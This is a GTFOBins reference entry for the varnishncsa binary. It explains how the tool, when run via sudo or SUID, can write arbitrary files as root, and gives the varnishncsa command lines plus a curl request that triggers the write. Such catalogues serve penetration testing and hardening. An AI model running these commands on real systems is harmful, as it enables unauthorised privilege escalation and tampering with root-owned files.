GTFOBins.github.io/_gtfobins/varnishncsa.md
2023-12-23 12:43:57 +01:00

598 B

description functions
This allows to write arbitrary files as root, provided that the proper HTTP response is made. Specifically the content of a certain header will be written in the file. First start `varnishncsa` as follows, then trigger the file write with: ``` curl -H 'yyy: DATA' http://localhost:6081/xxx ```
sudo suid
code
LFILE=file_to_write sudo varnishncsa -g request -q 'ReqURL ~ "/xxx"' -F '%{yyy}i' -w "$LFILE"
code
LFILE=file_to_write ./varnishncsa -g request -q 'ReqURL ~ "/xxx"' -F '%{yyy}i' -w "$LFILE"